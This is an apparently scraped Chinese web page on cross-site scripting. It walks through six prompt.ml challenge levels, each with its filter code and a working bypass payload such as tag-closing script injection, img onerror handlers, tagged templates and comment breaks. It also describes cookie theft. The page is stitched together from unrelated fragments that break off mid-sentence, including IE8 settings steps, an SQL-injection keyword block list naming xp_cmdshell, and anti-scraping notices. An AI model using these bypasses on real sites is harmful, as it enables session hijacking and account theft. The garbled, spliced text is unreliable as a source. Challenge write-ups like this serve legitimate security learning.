跨站腳本攻擊XSS(Cross Site Script)的原理與常見場景分析_安全相關

來源:腳本之家  責任編輯:小易  

沒用到富文本的話可以用spring里的HtmlUtils.htmlEscape(string str)來對parameter轉碼。是用filter還是其他方式都可以www.anxorj.tw防采集請勿采集本網。

前言

前段時間在網上看到一個網址,好奇之下進去看了看。勝利的條件是你錄入一個串,讓其調用prompt(1) 。發現里面有好多想不到的東西,今天終于悠閑了來這里說說XSS。

下列規則旨在防止所有發生在應用程序的XSS攻擊,雖然這些規則不允許任意向HTML文檔放入不可信數據,不過基本上也涵蓋了絕大多數常見的情況。你不需要采用所有規則,很多企業可能會發現第一條和第

XSS 原理

跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。

《XSS跨站腳本攻擊剖析與防御》是一本專門剖析XSS安全的專業書,總共8章,主要包括的內容如下。第1章 XSS初探,主要闡述了XSS的基礎知識,包括XSS的攻擊原理和危害。第2章 XSS利用方式,就當前

XSS 常見場景

應該始終對不可信數據保持警惕,將其視為包含攻擊,這意味著在發送不可信數據之前,應該采取措施確定沒有攻擊再發送。由于應用程序之間的關聯不斷深化,下游直譯程序執行的攻擊可以迅速蔓延。傳統上來看,

一些私人的博客,攻擊者惡意評論,彈出alert,這種充其量也就是一個玩笑。但是如果是盜竊cookie,異常提交請求,這些就比較難受了。

這個錯誤是由于 IE8 的跨站腳本(Cross-site scripting,XSS)防護阻止了跨站發送的請求。請按以下步驟操作: 1.點擊 IE8 的“工具”-“Internet 選項”, 2.進入“安全”選項卡,打開“Internet”下方的“自

prompt(1)

網站防SQL注入的代碼有吧?類似這樣的code_string=\"',;and,exec,insert,select,count,*,chr,asc,master,truncate,char,declare,net user,xp_cmdshell,/add,drop,from 在代碼里邊再加幾個:,%20,

chrome 版本 62.0.3202.75(正式版本) (64 位)

function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">';}

第一個

這是一個開胃菜,沒有做任何校驗,這種不設防的在現在已經很少了。他把值直接拼入字符串,組成一個DOM input標簽,那我們只要正確的把標簽閉合掉就可以調用了。

"><script>prompt(1)</script> ,拼出來的字符串為<input type="text" value=""><script>prompt(1)</script>"> ,這樣就等于插入了我們的代碼。

function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }

第二個

這個已經提升難度了,/<\/?[^>]+>/gi匹配<>標簽內的所有東西,如輸入<script>prompt(1)</script>轉換過后會出現prompt(1),內容里面的標簽被替換掉了。所以這個我們去嘗試不閉合標簽,讓瀏覽器自己去容錯。

<img src onerror="prompt(1);" 該方法通過img加載src失敗會調用onerror的想法。

function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input;}

第三個

這個就有點略坑了/[=(]/g把所以的=號和(號都替換掉了,這樣我們嘗試調用的時候就不能使用這些東西了。使用的方法是通過模板字符串的標簽模板,這個ES6的特性。 <script>prompt`1`</script>看樣子我們這樣寫就可以了,但是為什么沒有生效呢?下面的圖可以看出來,這樣的話傳入的是字符串,判斷是不通過的,所以我們要修改一下<script>prompt.call${1}</script> ,這樣就可以跑過驗證了。(話說markdown如何在``里面寫``)

function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->';}

第四個

這個看上去是把你寫的內容都放在了html的注釋語句里面,并且用/->/g替換了一把。我想到的方案有條件注釋,但是條件注釋這是IE的東西,我們就先不測試了。

--!><img src onerror="prompt(1);" 使用這個可以關閉

function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; }}

第五個

這個是通過偽造url,我們使用的是訪問帶有用戶名、密碼保護的 URL來偽造。

http://prompt.ml%[email protected]為一個網絡地址引用的js,內容為prompt(1)。本來想嘗試一下data:text/html,<html><script>prompt(1)</script></html>但是沒有成功,然后javascript:;about:blank也沒有通過,挺失落。

function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">';}

第六個

/>|on.+?=|focus/gi替換了>、onxxxx=和focus。通過input特殊的type類型。

`"type=image src onerror

="prompt(1)`

通過xss能做的事情

有很多,絕大多數的網絡攻擊行為都是把xss作為漏洞鏈中的第一環。通過xss,黑客可以得到的最直接的利益就是拿到用戶瀏覽器(或者一些類瀏覽器app)的cookie。由于目前web系統中實現session的辦法主要是cookie,所以一旦黑客拿到了用戶的cookie,就可以劫持用戶的session,從而變相達到盜取用戶賬號的目的。

xss也使黑客可以以受害用戶的ip地址向其他站點發起web攻擊,因為一切的攻擊腳本都可以借受害用戶的瀏覽器執行。

以這樣的方式,將xss配合起csrf、sql注入等漏洞可以在短時間內對一個服務器發起大量攻擊,并且服務端無法將攻擊ip封死,因為ip是成百上千的xss受害者的ip。

2015年github遭遇的大規模DDOS,實際上就是黑客以某種方式把而已腳本植入到“熊場”的廣告聯盟iframe中,從而對github的某些接口實施攻擊,最終達到DDOS的效果。

另外,持久性xss的傳播性極強,由于web的特點是輕量級、靈活性高,每個用戶每天都可能訪問很多web站點,每個web站點每天都有成千上萬的來訪。所以將xss攻擊配合起一些系統內核級的漏洞,完全可能在幾個小時之內擊垮幾百萬臺智能設備。

如今的xss

相比網上很多資料中,在技術上已經發生了很大變化。由于各大網站加強了對于js腳本、html標簽等關鍵信息的過濾,單純依靠植入javascript代碼很難實施攻擊。

PC端頁面,一些視頻類、頁游網站存在大量的flash內嵌在頁面中,可以嘗試將flash代碼植入,往往可以規避網站安全過濾。移動端頁面,可以植入native代碼(android系統植入java,ios系統植入oc)。

總結

以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,如果有疑問大家可以留言交流,謝謝大家對真格學網的支持。

百科中的No.1– 不要在允許位置插入不可信數據No.2– 在向HTML元素內容插入不可信數據前對HTML解碼No.3– 在向HTML常見屬性插入不可信數據前進行屬性解碼No.4– 在向HTML JavaScript Data Values插入不可信數據前,進行JavaScript解碼No.5– 在向HTML 樣式屬性值插入不可信數居前,進行CSS解碼No.6在向HTML URL屬性插入不可信數據前,進行URL解碼內容來自www.anxorj.tw請勿采集。


  • 本文相關:
  • 最新的黑客技術:xss跨站腳本攻擊詳細介紹
  • 關于跨站腳本攻擊問題
  • 跨站腳本攻擊+cookies欺騙(discuz篇)
  • 字符集導致的瀏覽器跨站腳本攻擊分析
  • 也談跨站腳本攻擊與防御
  • ubb的跨站腳本攻擊的漏洞
  • 研究ubb的跨站腳本攻擊之綜合篇
  • php常用工具函數小結【移除xss攻擊、utf8與gbk編碼轉換等】
  • php如何防止xss攻擊與xss攻擊原理的講解
  • web安全之xss攻擊與防御小結
  • 跨站腳本攻擊xss原理與防范實例分析
  • adsl防御黑客攻擊的十大方法
  • 黑客破解口令常用的三種方法
  • ip和mac捆綁的破解
  • 不錯的一篇玩轉arp的文章
  • 經典黑客遠程攻擊過程概要
  • 網站中的隱形炸彈ewebeditor文件上傳漏洞補丁
  • serv-u得到管理員密碼新招 (轉)
  • 阿d常用的一些注入命令整理小結
  • 對錯誤,漏洞和exploits的說明
  • 超全的webshell權限提升方法
  • 跨站腳本攻擊(XSS)java Web 如何防護
  • Struct2+Spring 架構JavaWeb項目,出現xss跨站腳本攻擊漏洞解決方案??
  • 跨站腳本攻擊xss的原理是什么?有什么危害?如何防范
  • DOM 跨站腳本攻擊問題,怎么解決
  • 跨站腳本攻擊xss和css的區別
  • XSS跨站腳本攻擊剖析與防御的內容介紹
  • xss跨站腳本攻擊能夠實現哪些危害
  • 如何解決跨站腳本攻擊
  • 跨站腳本攻擊(XSS)alert(42873)
  • 什么是XSS跨站腳本攻擊
  • 網站首頁網頁制作腳本下載服務器操作系統網站運營平面設計媒體動畫電腦基礎硬件教程網絡安全javascriptasp.netphp編程ajax相關正則表達式asp編程jsp編程編程10000問css/htmlflex腳本加解密web2.0xml/rss網頁編輯器相關技巧安全相關網頁播放器其它綜合dart首頁安全相關最新的黑客技術:xss跨站腳本攻擊詳細介紹關于跨站腳本攻擊問題跨站腳本攻擊+cookies欺騙(discuz篇)字符集導致的瀏覽器跨站腳本攻擊分析也談跨站腳本攻擊與防御ubb的跨站腳本攻擊的漏洞研究ubb的跨站腳本攻擊之綜合篇php常用工具函數小結【移除xss攻擊、utf8與gbk編碼轉換等】php如何防止xss攻擊與xss攻擊原理的講解web安全之xss攻擊與防御小結跨站腳本攻擊xss原理與防范實例分析adsl防御黑客攻擊的十大方法黑客破解口令常用的三種方法ip和mac捆綁的破解不錯的一篇玩轉arp的文章經典黑客遠程攻擊過程概要網站中的隱形炸彈ewebeditor文件上傳漏洞補丁serv-u得到管理員密碼新招 (轉)阿d常用的一些注入命令整理小結對錯誤,漏洞和exploits的說明超全的webshell權限提升方法看別人怎么查qq聊天記錄 比較詳細怎么查qq聊天記錄 怎樣恢復刪除的qq聊天記錄刪除了怎么恢復簡單方密碼破解全教程跨站式腳本(cross-sitescripting攻擊方式學習之sql注入(sql inje如何成為一名黑客全系列說明js和c#分別防注入代碼防止電腦被他人控制跨站腳本攻擊xss(cross site sc防止電腦被他人控制怎樣讓別人中木馬-木馬常用騙術大觀如何成為一名黑客全系列說明攻擊方式學習之sql注入(sql injection)個人用戶防黑指南我和expression的日與被日 經典分析滲透中用openrowset搞shell的方法對錯誤,漏洞和exploits的說明如何利用html格式化你的硬盤phpwind exp 漏洞利用
    免責聲明 - 關于我們 - 聯系我們 - 廣告聯系 - 友情鏈接 - 幫助中心 - 頻道導航
    Copyright © 2017 www.anxorj.tw All Rights Reserved
    陕西快乐10分下载